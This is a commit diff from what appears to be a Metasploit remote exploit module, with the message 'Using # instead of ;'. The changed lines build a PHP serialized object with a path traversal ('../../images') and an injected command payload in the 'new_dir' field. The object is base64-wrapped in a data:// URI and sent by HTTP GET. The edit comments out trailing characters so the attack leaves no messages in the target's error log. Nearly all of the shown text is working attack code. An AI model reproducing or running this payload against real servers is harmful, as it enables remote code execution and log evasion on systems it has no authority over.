Using # instead of ;. Semicolon is causing msg in error.log.
parent
ba79579202
commit
d38e9f8ceb
|
@ -80,10 +80,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
|
||||
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
|
||||
p << 's:7:"new_dir";s:'
|
||||
p << (payload.encoded.length + 4).to_s
|
||||
p << (payload.encoded.length + 5).to_s
|
||||
p << ':"-v;'
|
||||
p << payload.encoded
|
||||
p << ';";s:4:"name";s:4:"test";}}}'
|
||||
p << ' #";s:4:"name";s:4:"test";}}}'
|
||||
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
|
|
Loading…
Reference in New Issue